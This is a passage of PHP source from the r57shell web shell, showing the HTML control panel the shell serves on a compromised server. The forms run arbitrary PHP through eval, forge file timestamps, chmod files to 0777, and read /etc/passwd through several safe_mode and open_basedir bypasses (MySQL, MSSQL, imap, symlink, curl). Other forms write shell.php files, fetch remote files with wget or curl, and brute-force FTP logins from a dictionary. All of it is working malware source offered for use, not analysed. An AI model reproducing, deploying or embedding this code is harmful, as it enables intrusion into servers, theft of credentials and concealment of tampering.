 echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
 echo $te.'</div>'.$table_end1.$fe;
 } echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
 echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
 echo $te.'</div>'.$table_end1.$fe;
 if($safe_mode ||$open_basedir){ echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
 echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
 echo $te.'</div>'.$table_end1.$fe;
 } if($unix &&@function_exists('touch')){ echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
 echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($dir."/r57shell.php"))) .ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>" .ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
 echo sr(15,"<b> or set  Day".$arrow."</b>", '
<select name="day" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>' .ws(4)."<b>Month".$arrow."</b>" .'
<select name="month" size="1">
<option value="January">January</option>
<option value="February">February</option>
<option value="March">March</option>
<option value="April">April</option>
<option value="May">May</option>
<option value="June">June</option>
<option value="July">July</option>
<option value="August">August</option>
<option value="September">September</option>
<option value="October">October</option>
<option value="November">November</option>
<option value="December">December</option>
</select>' .ws(4)."<b>Year".$arrow."</b>" .'
<select name="year" size="1">
<option value="1998">1998</option>
<option value="1999">1999</option>
<option value="2000">2000</option>
<option value="2001">2001</option>
<option value="2002">2002</option>
<option value="2003">2003</option>
<option value="2004">2004</option>
<option value="2005">2005</option>
<option value="2006">2006</option>
<option value="2006">2007</option>
<option value="2006">2008</option>
<option value="2006">2009</option>
<option value="2006">2010</option>
</select>' .ws(4)."<b>Hour".$arrow."</b>" .'
<select name="chasi" size="1">
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
</select>' .ws(4)."<b>Minute".$arrow."</b>" .'
<select name="minutes" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
<option value="32">32</option>
<option value="33">33</option>
<option value="34">34</option>
<option value="35">35</option>
<option value="36">36</option>
<option value="37">37</option>
<option value="38">38</option>
<option value="39">39</option>
<option value="40">40</option>
<option value="41">41</option>
<option value="42">42</option>
<option value="43">43</option>
<option value="44">44</option>
<option value="45">45</option>
<option value="46">46</option>
<option value="47">47</option>
<option value="48">48</option>
<option value="49">49</option>
<option value="50">50</option>
<option value="51">51</option>
<option value="52">52</option>
<option value="53">53</option>
<option value="54">54</option>
<option value="55">55</option>
<option value="56">56</option>
<option value="57">57</option>
<option value="58">58</option>
<option value="59">59</option>
</select>' .ws(4)."<b>Second".$arrow."</b>" .'
<select name="second" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
<option value="32">32</option>
<option value="33">33</option>
<option value="34">34</option>
<option value="35">35</option>
<option value="36">36</option>
<option value="37">37</option>
<option value="38">38</option>
<option value="39">39</option>
<option value="40">40</option>
<option value="41">41</option>
<option value="42">42</option>
<option value="43">43</option>
<option value="44">44</option>
<option value="45">45</option>
<option value="46">46</option>
<option value="47">47</option>
<option value="48">48</option>
<option value="49">49</option>
<option value="50">50</option>
<option value="51">51</option>
<option value="52">52</option>
<option value="53">53</option>
<option value="54">54</option>
<option value="55">55</option>
<option value="56">56</option>
<option value="57">57</option>
<option value="58">58</option>
<option value="59">59</option>
</select>' .in('hidden','cmd',0,'touch') .in('hidden','dir',0,$dir) .ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
 echo $te.'</div>'.$table_end1.$fe;
 } $select='';
 if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";
} if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";
} if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";
} if($unix &&$select){ echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
 echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($dir."/r57shell.php"))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(!$safe_mode){ $aliases2 = '';
 foreach ($aliases as $alias_name=>$alias_cmd) { $aliases2 .= "<option>$alias_name</option>";
 } echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
 echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
 echo $te.'</div>'.$table_end1.$fe;
 } echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
 echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
 echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;
/home;
/tmp )");
 echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;
.php')."* ( .txt;
.php;
.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
 echo $te.'</div>'.$table_end1.$fe;
 if(!$safe_mode &&$unix){ echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
 echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
 echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;
/home;
/tmp )");
 echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
 echo $te.'</div>'.$table_end1.$fe;
 } echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
 echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
 echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");
\r\n//readfile(\"/etc/passwd\");
\r\n//file_get_content(\"/etc/passwd\");
"));
 echo "</textarea>";
 echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
 echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
 echo "</div></div></font>";
 echo $table_end1.$fe;
 if($safe_mode ||$open_basedir) { echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
 echo "<table class=table1 width=100% align=center>";
 echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&$curl_on &&@version_compare(@phpversion(),"5.2.0")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
 echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&$mysql_on) { echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
 echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
 echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&$mssql_on) { echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
 echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
 echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&$unix &&@function_exists('mb_send_mail') &&@version_compare(@phpversion(),"5.2.0")<=0){ echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
 echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@function_exists('imap_open') &&@function_exists('imap_list') &&@version_compare(@phpversion(),"5.2.0")<=0){ echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
 echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@function_exists('imap_open') &&@function_exists('imap_body') &&@version_compare(@phpversion(),"5.2.0")<=0){ echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
 echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@function_exists('copy') &&@version_compare(@phpversion(),"5.2.0")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
 echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
 echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@function_exists('ini_restore') &&@version_compare(@phpversion(),"5.2.0")<=0){ echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
 echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.0.0")<0){ echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
 echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@function_exists('glob') &&@version_compare(@phpversion(),"5.2.2")<=0){ echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
 echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test18_file'])?($_POST['test18_file']):($dir))).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
 echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):("/tmp/test.zip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
 echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):("/tmp/test.bzip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@function_exists('error_log') &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
 echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
 echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<?php phpinfo();
 ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
 echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
 echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<?php phpinfo();
 ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@function_exists('readfile') &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
 echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
 echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<?php phpinfo();
 ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.4")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
 echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."/test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
 echo $te.'</div>'.$table_end1.$fe;
 } if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
 echo "<tr><td valign=top width=70%>".$ts;
 echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
 echo $te."</td><td valign=top width=30%>".$ts;
 echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
 echo $te."</td></tr>";
 echo $te.'</div>'.$table_end1;
 } if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
 echo "<tr><td valign=top width=70%>".$ts;
 echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
 echo $te."</td><td valign=top width=30%>".$ts;
 echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
 echo $te."</td></tr>";
 echo $te.'</div>'.$table_end1;
 } if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){ echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
 echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
 echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
 echo $te.'</div>'.$table_end1.$fe;
 } if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){ echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
 echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
 echo "<tr><td valign=top width=50%>".$ts;
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
 echo $te."</td><td valign=top width=50%>".$ts;
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
 echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
 echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
 echo $te."</td></tr>";
 echo $te.'</div>'.$table_end1.$fe;
 } $select='';
 if((!@function_exists('ini_get')) ||(@ini_get('allow_url_fopen') &&@function_exists('fopen'))){$select = "<option value=\"fopen\">fopen</option>";
} if(!$safe_mode){ if(which('wget')){$select .= "<option value=\"wget\">wget</option>";
} if(which('fetch')){$select .= "<option value=\"fetch\">fetch</option>";
} if(which('lynx')){$select .= "<option value=\"lynx\">lynx</option>";
} if(which('links')){$select .= "<option value=\"links\">links</option>";
} if(which('curl')){$select .= "<option value=\"curl\">curl</option>";
} if(which('GET')){$select .= "<option value=\"GET\">GET</option>";
} } if($select){ echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
 echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\">".$select ."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
 echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
 echo $te.'</div>'.$table_end1.$fe;
 } echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
 echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
 $arh = $lang[$language.'_text92'];
 if(@function_exists('gzcompress')) {$arh .= in('radio','compress',0,'zip').' zip';
} if(@function_exists('gzencode')) {$arh .= in('radio','compress',0,'gzip').' gzip';
} if(@function_exists('bzcompress')) {$arh .= in('radio','compress',0,'bzip').' bzip';
} echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
 echo $te.'</div>'.$table_end1.$fe;
 if(@function_exists("ftp_connect")){ echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
 echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
 echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
 echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
 echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
 echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
 echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
 echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
 echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
 echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
 echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
 echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
 echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
 echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
